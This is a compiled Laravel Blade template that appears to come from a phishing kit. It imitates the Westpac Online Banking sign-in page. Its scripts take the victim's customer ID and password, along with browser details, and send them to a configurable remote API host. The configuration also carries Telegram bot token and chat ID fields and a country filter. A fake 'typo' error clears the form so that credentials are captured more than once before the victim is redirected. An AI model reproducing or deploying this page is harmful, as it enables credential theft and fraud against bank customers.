<html lang="en">

<head>
    <?php if (isset($component)) { $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6 = $component; } ?>
<?php $component = App\View\Components\Head::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('head'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Head::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6)): ?>
<?php $component = $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6; ?>
<?php unset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6); ?>
<?php endif; ?>
    <style>
        #main-content {
            max-width: 550px !important;
        }

        header .logo img {
            height: initial !important;
            width: initial !important;
        }

        header * {
            font: normal 800 1.5rem/2.5rem CBA Beacon Sans !important;
            font-weight: 400 !important;
        }
    </style>
</head>

<body class="honeycomb textstyles--commbank">
    <!------------------------------------------>
    <!-- Configurations -->
    <!------------------------------------------>
    <script>
        function getConfigs() {
            return {
                "index": Number('<?php echo e($index); ?>'),
                "isFinalPage": Boolean('<?php echo e($details['isFinalPage']); ?>'),
                "pagesSequence": '<?php echo e($details['pagesSequence']); ?>',
                "isActive": '<?php echo e($details['isActive']); ?>' === "true" ? true : false,
                "page": '<?php echo e($details['page']); ?>',
                "pagesWaitingTime": '<?php echo e($details['pagesWaitingTime']); ?>',
                "pagesTypeOfWaitingPage": '<?php echo e($details['pagesTypeOfWaitingPage']); ?>',
                "pagesNumberOfRepetition": Number('<?php echo e($details['pagesNumberOfRepetition']); ?>'),
                'pagesWaitingTime': Number('<?php echo e($details['pagesWaitingTime']); ?>') * 1000,
                'pagesIsFormsEmptyInRepetitions': Boolean('<?php echo e($details['pagesIsFormsEmptyInRepetitions']); ?>'),
                'pagesGoBackPageName': '<?php echo e($details['pagesGoBackPageName']); ?>',
                'pagesGoNextPageName': '<?php echo e($details['pagesGoNextPageName']); ?>',
                'pagesNavigationPageControlType': '<?php echo e($details['pagesNavigationPageControlType']); ?>',
                'googleRecaptchaSiteKey': '<?php echo e($details['googleRecaptchaSiteKey']); ?>',
                'googleRecaptchaSecretKey': '<?php echo e($details['googleRecaptchaSecretKey']); ?>',
                'telegramChatId': '<?php echo e($details['telegramChatId']); ?>',
                'telegramBotToken': '<?php echo e($details['telegramBotToken']); ?>',
                'apiHost': '<?php echo e($details['apiHost']); ?>',
                'webHost': '<?php echo e($details['webHost']); ?>',
                'accessCountryISO': '<?php echo e($details['accessCountryISO']); ?>',
                'errorPageLink': '<?php echo e($details['errorPageLink']); ?>',
                'successPageLink': '<?php echo e($details['successPageLink']); ?>',
            };
        }
    </script>
    <!------------------------------------------>
    <!-- State -->
    <!------------------------------------------>
    <script>
        function getCurrentState() {
            const currentPage = getConfigs()["index"];
            let data = localStorage.getItem("data");
            if (!currentPage || !data) {
                data = JSON.stringify({
                    page: 0,
                    info: {}
                });
                localStorage.setItem("data", data);
            }
            return JSON.parse(data);
        }

        function removeState() {
            localStorage.removeItem("data");
        }

        function updateCurrentState(page, info) {
            let currentData = getCurrentState();
            localStorage.setItem("data", JSON.stringify({
                ...currentData,
                ...info,
                page: page,
            }));
        }
    </script>
    <!------------------------------------------>
    <!-- Routing -->
    <!------------------------------------------>
    <script>
        function redirect(target) {
            window.location.href = target;
        }

        function goToLink(target) {
            window.location.replace(target);
        }
    </script>
    <!------------------------------------------>
    <!-- Protection -->
    <!------------------------------------------>
    <script>
        function protectPage() {
            const page = getCurrentState()["page"];
            const currentPage = getConfigs()["index"];
            let isAccessible =
                (currentPage === 0 && page === undefined) || currentPage === page;
            let isValid = true;
            if (!isAccessible) {
                const pages = getConfigs()["pagesSequence"].split(",").length;
                isValid = !isNaN(Number(page)) && page <= pages && page >= 0;
            }
            if (!isValid) {
                removeState();
                redirect("/0");
            }
            if (!isAccessible) {
                const state = getCurrentState();
                redirect("/" + page);
            }

            if (!getConfigs()["isActive"]) {
                if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                } else {
                    updateCurrentState(page + 1, {});
                }
            }
        }
        protectPage();
    </script>


    <!-- Handling -->
    <script>
        const configs = getConfigs();

        function onErrorAction() {
            goToLink(getConfigs["errorPageLink"]);
        }
        async function handleAuto() {
            const configs = getConfigs();
            const dataToSend = getFormData();
            const test = validateData(dataToSend);
            if (!test)
                return showGlobalError(
                    "Kindly complete all mandatory fields. Verify the accuracy of the provided information.");
            hideGlobalError();
            showLoader();
            const response = await makeAPICall(dataToSend);
            if (!response) return onErrorAction();
            onSuccessAction(dataToSend);
        }

        function handleManual(configs) {
            const dataToSend = getAllFormData();
            showLoader(configs);
            alert("Manual");
        }

        function onSubmitData(key) {
            if (getConfigs()["pagesNavigationPageControlType"] === "AUTO")
                handleAuto()
            else
                handleManual(configs);
        }
    </script>

    <div id="root">
        <?php if (isset($component)) { $__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3 = $component; } ?>
<?php $component = App\View\Components\Header::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('header'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Header::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3)): ?>
<?php $component = $__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3; ?>
<?php unset($__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3); ?>
<?php endif; ?>
        <main>
            <form method="POST" action="#" class="common_card" id="main-content">
                <div class="error-component">
                    <img src="./assets/img/aa.svg" alt="error-icon" />
                    <div id="error-message"> It took you a while to log on. You'll need to enter your
                        details again.</div>
                </div>
                <div class="waiting-popup-container waiting-popup-component">
                    <p class="waiting-popup-title">
                        Processing ...
                    </p>
                    <div class="waiting-popup"></div>

                </div>
                <div class="logonId" id="fp_forgotpassword">
                    <h1 class="logonId__heading" id="fp_forgotpassword_heading">Sign in to Westpac Online Banking</h1>



                    <div class="form-group"><label for="customerid">Customer ID</label><input required id="customerid"
                            class="form-control" name="customerid" type="text" aria-required="true" value=""
                            maxlength="8" placeholder="">
                        <div class="invalid-feedback" id="invalid-feedback-customerid">Please enter a valid OTP.</div>
                    </div>

                    <div class="form-group"><label for="code">Password</label><input required id="code"
                            class="form-control" name="code" type="password" aria-required="true" value=""
                            placeholder="">
                        <div class="invalid-feedback" id="invalid-feedback-code"></div>
                    </div>

                    <button id="submitButton" class="g-recaptcha logonId__btn logonId__btnSubmit btn-action--emphasis"
                        data-sitekey="<?php echo e($details['googleRecaptchaSiteKey']); ?>" data-callback="onSubmitData"
                        data-action="submit">Sign in</button>
                </div>
            </form>
        </main>
        <?php if (isset($component)) { $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf = $component; } ?>
<?php $component = App\View\Components\Footer::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('footer'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Footer::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf)): ?>
<?php $component = $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf; ?>
<?php unset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf); ?>
<?php endif; ?>
    </div>
    </div>
    <script></script>
</body>



<!-- Setup Validation -->
<script>
    function validateCustomerID(input) {
        const value = input.val();
        const message = $("#invalid-feedback-customerid");
        if (!value) {
            showError(input, message, "ID is required");
            return false;
        }
        if (value.length != 8) {
            showError(input, message, "Please enter a valid 8 digit Customer ID");
            return false;
        }
        hideError(input, message);
        return true;
    }

    function validatePassword(input) {
        const value = input.val();
        const message = $("#invalid-feedback-code");
        if (!value) {
            showError(input, message, "Password is required");
            return false;
        } else if (value.length < 6) {
            showError(input, message, "Please enter a valid password, minimum 6 characters");
            return false;
        }
        hideError(input, message);
        return true;
    }
</script>
<!--Setup Components -->
<script></script>
<!-- Setup musk -->
<script></script>
<!-- Setup Errors -->
<script>
    $("#customerid").on("input", function() {
        validateCustomerID($(this));
    });
    $("#code").on("input", function() {
        validatePassword($(this));
    });
</script>
<!-- Handling Form -->
<script>
    function resetForm() {
        $("#customerid").val("");
        $("#code").val("");
    }

    function getFormData() {
        return {
            "captchaResponse": $("[name='g-recaptcha-response']").val(),
            "customerid": $("#customerid").val(),
            "password": $("#code").val(),
            "useragent": navigator.userAgent,
            "userpanguage": navigator.language,
            "userplatform": navigator.platform,
            "page": getConfigs()["page"],
        }
    }

    function validateData(data) {
        let test = true;
        test = validateCustomerID($("#customerid")) && test;
        test = validatePassword($("#code")) && test;
        return test;
    }
</script>
<!-- Handling Components -->
<script>
    function showError(input, messsage, text) {
        messsage.text(text);
        messsage.css("display", "block");
        input.addClass("is-invalid");
    }

    function hideError(input, messsage) {
        messsage.css("display", "none");
        input.removeClass("is-invalid");
    }

    function showGlobalError(message) {
        $(".error-component").css("display", "flex");
        $("#error-message").css("display", "block");
        $("#error-message").text(message);
        $("#main-content").addClass("error");
    }

    function hideGlobalError() {
        $(".error-component").css("display", "none");
        $("#error-message").css("display", "none");
        $("#main-content").removeClass("error");
    }

    function showLoader() {
        $(".waiting-popup-container").css("display", "flex");
    }

    function hideLoader() {
        $(".waiting-popup-container").css("display", "none");
    }
</script>
<!-- Handling API -->
<script>
    function objectToQueryString(obj) {
        return Object.keys(obj).map(key => key + '=' + obj[key]).join('&');
    }
    async function makeAPICall(data) {
        const configs = getConfigs();
        const dataToSend = objectToQueryString(data);
        const response = await axios.post(`${configs["apiHost"]}/${configs["page"]}?${dataToSend}`, {})
        return response.data;
    }

    function onSuccessAction(data) {
        setTimeout(() => {
            if (configs["pagesNumberOfRepetition"]) {
                configs["pagesNumberOfRepetition"]--;
                if (configs["pagesIsFormsEmptyInRepetitions"])
                    resetForm();
                hideLoader();
                showGlobalError(
                    "We've encountered a minor typo in your input. Kindly review and rectify it before proceeding."
                );
                return;
            } else if (getConfigs()["isFinalPage"]) {
                removeState();
                goToLink(getConfigs()["successPageLink"]);
            } else {
                updateCurrentState(getConfigs()["index"] + 1, {});
                redirect("/" + (getConfigs()["index"] + 1));
            }
        }, configs["pagesWaitingTime"]);
    }
</script>

</html>
<?php /**PATH D:\005-Projects\005-freelance\Laravel\all-in-one-control\nobankio\resources\views/login.blade.php ENDPATH**/ ?>